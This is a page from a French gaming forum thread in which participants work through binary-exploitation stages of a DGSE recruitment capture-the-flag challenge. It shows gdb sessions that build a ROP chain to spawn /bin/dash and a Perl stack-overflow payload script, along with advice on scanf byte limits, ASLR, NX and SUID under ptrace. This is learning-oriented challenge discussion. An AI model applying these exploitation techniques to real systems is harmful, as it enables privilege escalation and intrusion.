CONNEXION
  • RetourJeux
    • Tests
    • Soluces
    • Previews
    • Sorties
    • Hit Parade
    • Les + attendus
    • Tous les Jeux
  • RetourActu
    • Culture Geek
    • Astuces
    • Réalité Virtuelle
    • Rétrogaming
    • Toutes les actus
  • RetourHigh-Tech
    • Actus JVTECH
    • Bons plans
    • Tutoriels
    • Tests produits High-Tech
    • Guides d'achat High-Tech
    • JVTECH
  • RetourVidéos
    • A la une
    • Gaming Live
    • Vidéos Tests
    • Vidéos Previews
    • Gameplay
    • Trailers
    • Chroniques
    • Replay Web TV
    • Toutes les vidéos
  • RetourForums
    • Hardware PC
    • PS5
    • Switch
    • Xbox Series
    • Overwatch 2
    • FUT 23
    • League of Legends
    • Genshin Impact
    • Tous les Forums
  • PC
  • PS5
  • Xbox Series
  • PS4
  • One
  • Switch
  • Wii U
  • iOS
  • Android
  • MMO
  • RPG
  • FPS
En ce moment Genshin Impact Valhalla Breath of the wild Animal Crossing GTA 5 Red dead 2
Etoile Abonnement RSS

Sujet : Challenge DGSE

DébutPage précedente
«1  ... 2122232425262728293031
Page suivanteFin
cannic cannic
MP
Niveau 2
31 mai 2019 à 15:16:16

Le 31 mai 2019 à 15:08:25 Anon2805 a écrit :
Pour ceux qui on réussi le defi2 l'ASLR était activée ?

Oui pour defi2 et defi3, l'ASLR est activée. Par contre, ce ne sont pas des binaires PIE.

cannic cannic
MP
Niveau 2
31 mai 2019 à 15:20:50

Le 31 mai 2019 à 15:03:38 GouKen91 a écrit :
Donc à part des hackers ou des challengers CTF, c'est quand même pas à la portée de tout le monde.

Oui, je suis d'accord. C'est un challenge pour le recrutement donc si c'était à la portée de tout le monde, ça ne servirait pas à grand chose :-)

C'est faisable pour des gens qui n'ont pas fait de CTF mais qui sont des devs c/c++ expérimentés *et* qui ont le temps de chercher. Ceci-dit, ça dure 3 semaines et il y a que 10 épreuves (défi2 est l'avant dernière)

PapyKatsandiss PapyKatsandiss
MP
Niveau 6
31 mai 2019 à 15:37:41

Le MDP est AZERTY :ouch:

Kolitop45 Kolitop45
MP
Niveau 37
31 mai 2019 à 15:39:44

Se sont des math ou de l'info ?

cduret cduret
MP
Niveau 2
31 mai 2019 à 16:04:24

mm,
J'essaye d'appeler system("/bin/dash") avec gdb avec un seul gadget (pop rdi; ret à l'adresse 0x00400a13).

Il lance bien un process mais je n'arrive pas à obtenir de shell :honte:

$ gdb prog.bin
gdb-peda$ b *0x400931
Breakpoint 1 at 0x400931

gdb-peda$ run
[-------------------------------------code-------------------------------------]
0x400929: jmp 0x400930
0x40092b: mov eax,0x0
0x400930: leave
=> 0x400931: ret
0x400932: push rbp
0x400933: mov rbp,rsp
0x400936: sub rsp,0x410
0x40093d: lea rdi,[rip+0x23c] # 0x400b80

gdb-peda$ p $rsp
$1 = (void *) 0x7ffc86128798

gdb-peda$ x /2i 0x00400a13
0x400a13: pop rdi
0x400a14: ret

gdb-peda$ set {char[10]}0x0000000000601e20 = "/bin/dash"

gdb-peda$ set {long}0x00007ffc86128798 = 0x0000000000400a13

gdb-peda$ ni
[-------------------------------------code-------------------------------------]
=> 0x400a13: pop rdi
0x400a14: ret
0x400a15: nop
0x400a16: nop WORD PTR cs:[rax+rax*1+0x0]

gdb-peda$ p $rsp
$3 = (void *) 0x7ffc861287a0

gdb-peda$ set {long}0x00007ffc861287a0 = 0x0000000000601e20

gdb-peda$ ni
[-------------------------------------code-------------------------------------]
0x400a0e: pop r13
0x400a10: pop r14
0x400a12: pop r15
=> 0x400a14: ret

gdb-peda$ x /s $rdi
0x601e20: "/bin/dash"

gdb-peda$ p $rsp
$4 = (void *) 0x7ffc861287a8

gdb-peda$ p system
$2 = {<text variable, no debug info>} 0x7f31bb8bb480 <system>

gdb-peda$ set {long}0x00007ffc861287a8 = 0x00007f31bb8bb480

gdb-peda$ x /1gx $rsp
0x7ffc861287a8: 0x00007f31bb8bb480

gdb-peda$ disas 0x00007f31bb8bb480
Dump of assembler code for function system:
0x00007f31bb8bb480 <+0>: test rdi,rdi
0x00007f31bb8bb483 <+3>: je 0x7f31bb8bb490 <system+16>
0x00007f31bb8bb485 <+5>: jmp 0x7f31bb8baf10
0x00007f31bb8bb48a <+10>: nop WORD PTR [rax+rax*1+0x0]
0x00007f31bb8bb490 <+16>: lea rdi,[rip+0x12278a] # 0x7f31bb9ddc21
0x00007f31bb8bb497 <+23>: sub rsp,0x8
0x00007f31bb8bb49b <+27>: call 0x7f31bb8baf10
0x00007f31bb8bb4a0 <+32>: test eax,eax
0x00007f31bb8bb4a2 <+34>: sete al
0x00007f31bb8bb4a5 <+37>: add rsp,0x8
0x00007f31bb8bb4a9 <+41>: movzx eax,al
0x00007f31bb8bb4ac <+44>: ret
End of assembler dump.

gdb-peda$ c
Continuing.
[New process 67]
process 67 is executing new program: /bin/dash
Warning:
Cannot insert breakpoint 1.
Cannot access memory at address 0x400931

cannic cannic
MP
Niveau 2
31 mai 2019 à 16:24:05

Le 31 mai 2019 à 16:04:24 cduret a écrit :
mm,
J'essaye d'appeler system("/bin/dash") avec gdb avec un seul gadget (pop rdi; ret à l'adresse 0x00400a13).

Il lance bien un process mais je n'arrive pas à obtenir de shell :honte:

Oui ton programme appelle bien un nouveau shell mais gdb se plaint qu'il ne peut pas placer le breakpoint 1 dans dash. Ça a l'air de faire ce que tu veux.

Mais une fois que tu t'es attaché au programme avec gdb (voir http://man7.org/linux/man-pages/man2/ptrace.2.html), il perd les droits de l'utilisateur SUID donc ce shell ne permet pas de capturer le drapeau. Pour être utilisable, il faut que tu fasses un exploit sans gdb/ptrace. C'est à dire en passant ce qu'il faut à stdin avec par exemple un fichier avec une redirection ou en utilisant les pwntools

cannic cannic
MP
Niveau 2
31 mai 2019 à 18:04:11

Mais une fois que tu t'es attaché au programme avec gdb (voir http://man7.org/linux/man-pages/man2/ptrace.2.html), il perd les droits de l'utilisateur SUID donc ce shell ne permet pas de capturer le drapeau.

Je me suis mal exprimé : quand tu lances le programme avec gdb, il n'hérite pas le suid bit parce qu'il est sous ptrace(). Tu ne peux pas t'attacher à un programme avec ptrace() s'il ne tourne sous un autre uid.

Mais bon, ça change pas rien à ton problème :-)

HPL0x80437f7 HPL0x80437f7
MP
Niveau 2
31 mai 2019 à 18:59:39

Bravo pour tous ceux qui partagent leurs avancées, c'est passionnant à lire, il y a toujours quelques 1337 dévorées par l'hubris de ci de là, mais il y a un vrai esprit de partage ici en tout cas.

cduret cduret
MP
Niveau 2
31 mai 2019 à 23:41:21

j'ai un gros pb pour injecter mon shell avec scanf.

En effet j'ai l'impression que scanf s'arrête quand il rencontre du style le byte 0a

par ex un simple script en perl pour creer le payload :

$payload = "\x41"x40;
$payload .= pack("Q<", 0x0400550); # puts
$payload .= pack("Q<", 0x0602038); # scanf addr in GOT
$payload .= pack("Q<", 0x0400a13); # pop rdi ret

print "login\n";
print $payload;

Si j'injecte ca dans gdb avec run < ./in.dat

il m'ecrit ça dans le stack :

0x7ffd65b98bd0: 0x4141414141414141 0x4141414141414141
0x7ffd65b98be0: 0x4141414141414141 0x4141414141414141
0x7ffd65b98bf0: 0x4141414141414141 0x0000000000400550
0x7ffd65b98c00: 0x00007ffd65b90038 0x0000000000400970

alors que pour tester si je met trois fois la meme addresse :

$payload = "\x41"x40;
$payload .= pack("Q<", 0x0400550); # puts
$payload .= pack("Q<", 0x0400550); # puts
$payload .= pack("Q<", 0x0400550); # puts

print "login\n";
print $payload;

il m'ecrit bien les trois addresses comme il faut :

0x7fff53f405f0: 0x4141414141414141 0x4141414141414141
0x7fff53f40600: 0x4141414141414141 0x4141414141414141
0x7fff53f40610: 0x4141414141414141 0x0000000000400550
0x7fff53f40620: 0x0000000000400550 0x0000000000400550

Il y a un truc pour faire passer n'importe quel addresse avec scanf ?
:hum:

cannic cannic
MP
Niveau 2
01 juin 2019 à 00:40:43

Le 31 mai 2019 à 23:41:21 cduret a écrit :
j'ai un gros pb pour injecter mon shell avec scanf.

En effet j'ai l'impression que scanf s'arrête quand il rencontre du style le byte 0a

C'est le cas. Si tu regardes sur http://manpagesfr.free.fr/man/man3/scanf.3.html la doc pour "%s":

Correspond à une séquence de caractères différents des caractères blancs. (...) La conversion s'arrête au premier caractère blanc, ou à la longueur maximale du champ.

Ensuite sur http://manpagesfr.free.fr/man/man3/isalpha.3.html, tu regardes isspace():
Dans les localisations C et POSIX il s'agit de : espace, saut de page (form-feed), saut de ligne (newline), retour chariot (carriage return), tabulation horizontale, et tabulation verticale.

Donc scanf s'arrête sur les caractères 0x09, 0xa, 0xb, 0xc, 0xd et 0x20 (avec les locales standards)

Si tu veux passer ces caractères, il faut que tu trouves un autre moyen.

J'ai l'impression aussi que tu cherches à afficher l'adresse de scanf() pour obtenir l'adresse de la libc. Si j'ai raison, ce n'est pas très intéressant: vu que c'est la dernière fonction que tu peux appeler, tu n'auras plus l'occasion d'injecter quoi que ce soit.

cduret cduret
MP
Niveau 2
01 juin 2019 à 00:50:02

oui effectivement pour scanf il faudrait %[\r] comme format pour pouvoir faire passer le 0a ..

je veux afficher l'adresse de scanf pour pouvoir recupérer l'adresse de system :

@system = @scanf in libc - libc_scanf_offset + libc_system_offset

tous les tuto qu'on voit le font avec read/write mais pas avec scanf/printf/puts :non2:

Enodlabiz Enodlabiz
MP
Niveau 9
01 juin 2019 à 00:50:11

Je suis arrivé au defi1 sans encombres, je ne cherche pas à le résoudre mais j'aimerais bien savoir quels types de prérequis sont nécessaires à la résolution des défis :hap:

EbzGator EbzGator
MP
Niveau 9
01 juin 2019 à 00:57:01

Bordel j'étais deter mais en survolant les réponses, j'ai abandonné https://image.noelshack.com/fichiers/2016/49/1480978546-stickerkangoo.png

blackapplex blackapplex
MP
Niveau 10
01 juin 2019 à 01:00:29

Le 31 mai 2019 à 14:59:41 cannic a écrit :

Le 31 mai 2019 à 13:45:57 blackapplex a écrit :
Enfin plutôt CEUX qui gagneront, ça me semble trop vaste pour être cassable par une personne seule, ya trop de compétences transverses ou alors ya qu'une dizaine de personnes en France capable de tout casser.

Il y a rien à gagner. À la fin, tu as juste un message de félicitations avec un email pour envoyer ta candidature et un tag à mettre dans l'email.

Le niveau du challenge est pas incroyablement élevé: ceux qui font beaucoup de CTF ont fini super rapidement, exemple https://twitter.com/Geluchat/status/1131759098238779392 (c'est le début du message de fin)

Oh ok :hap:

cannic cannic
MP
Niveau 2
01 juin 2019 à 03:55:13

Le 01 juin 2019 à 00:50:02 cduret a écrit :
oui effectivement pour scanf il faudrait %[\r] comme format pour pouvoir faire passer le 0a ..

je veux afficher l'adresse de scanf pour pouvoir recupérer l'adresse de system :

Oui mais, comme je disais, ça n'est pas très utile vu que scanf() est le dernier appel qui lit stdin. Si tu affiches avant scanf(), tu peux te servir de l'information. Après scanf(), tu ne peux rien injecter et vu que l'ASLR est activé, les adresses de la libc changent à chaque lancement du programme.

La pile est exécutable pour defi2 donc c'est pas super intéressant de connaitre l'adresse de la libc vu que tu peux exécuter ton shellcode directement sur la pile. Il faut par contre trouver un moyen de jumper sur la pile

cannic cannic
MP
Niveau 2
01 juin 2019 à 04:20:24

Le 01 juin 2019 à 00:50:11 Enodlabiz a écrit :
Je suis arrivé au defi1 sans encombres, je ne cherche pas à le résoudre mais j'aimerais bien savoir quels types de prérequis sont nécessaires à la résolution des défis :hap:

Il faut comprendre les dépassements de pile et les différentes techniques d'exploitation. Je commencerais l'article de base : http://www-inst.eecs.berkeley.edu/~cs161/fa08/papers/stack_smashing.pdf. Les techniques type ASLR, NX actuelles ont rendu les techniques décrites obsolètes mais c'est important de bien comprendre l'idée.

Ensuite, regarde du côté des techniques d'exploitation actuelles "simples", par exemple https://penturalabs.wordpress.com/2011/03/31/vulnerability-development-buffer-overflows-how-to-bypass-full-aslr/ ou https://sploitfun.wordpress.com/2015/05/08/bypassing-aslr-part-iii/. Il y a énormément de papiers/blogs sur ce genre de technique. Une fois que tu en comprends bien un ou deux, c'est relativement facile d'en apprendre des nouveaux.

marieddd marieddd
MP
Niveau 3
01 juin 2019 à 05:21:43

Je pense que vous gaspillez votre temps et votre énergie sur ce challenge. Vous êtes les 18 25, vous êtes l'ennemi du système actuel en France. Si vous cherchez du travail dans l'informatique, vous devriez plutôt aller en Roumanie, pays où les chefs d'entreprise cherchent des employées comme vous.

cduret cduret
MP
Niveau 2
01 juin 2019 à 10:32:30

La pile est exécutable pour defi2

ho je me suis fais ch** pour rien alors :snif2:

merci pour les tips

Message édité le 01 juin 2019 à 10:32:40 par cduret
[sd]anonymous [sd]anonymous
MP
Niveau 10
01 juin 2019 à 10:34:58

Je capte rien à votre charabia mais c'est plaisant à lire :hap:

cannic cannic
MP
Niveau 2
01 juin 2019 à 18:43:18

ho je me suis fais ch** pour rien alors :snif2:

Tu peux le voir avec checksec dans gdb-peda ou sur la ligne de commande (paramètre NX).

Ou plus généralement pendant que le programme tourne, tu peux regarder /proc/PID/maps, tu peux voir tout ce qui est mappé avec les permissions de chaque région.

Tu n'y auras pas accès si le programme tourne sur un autre utilisateur par contre donc soit fais une copie non setuid du programme, ou fait le tourner sous gdb (avec gdb-peda, tu peux utiliser la command vmmap direct). Il y a aussi la commande setpriv qui permet d'ignorer le bit setuid mais elle est pas dispo sur l'image docker.

DébutPage précedente
Page suivanteFin
Répondre
Prévisu
?
Victime de harcèlement en ligne : comment réagir ?
Sous-forums
Infos 0 connecté(s)

Gestion du forum

Modérateurs : Suumas, odoki, LikeGod, [FIREWORK]
Contacter les modérateurs - Règles du forum

Sujets à ne pas manquer

  • Aucun sujet à ne pas manquer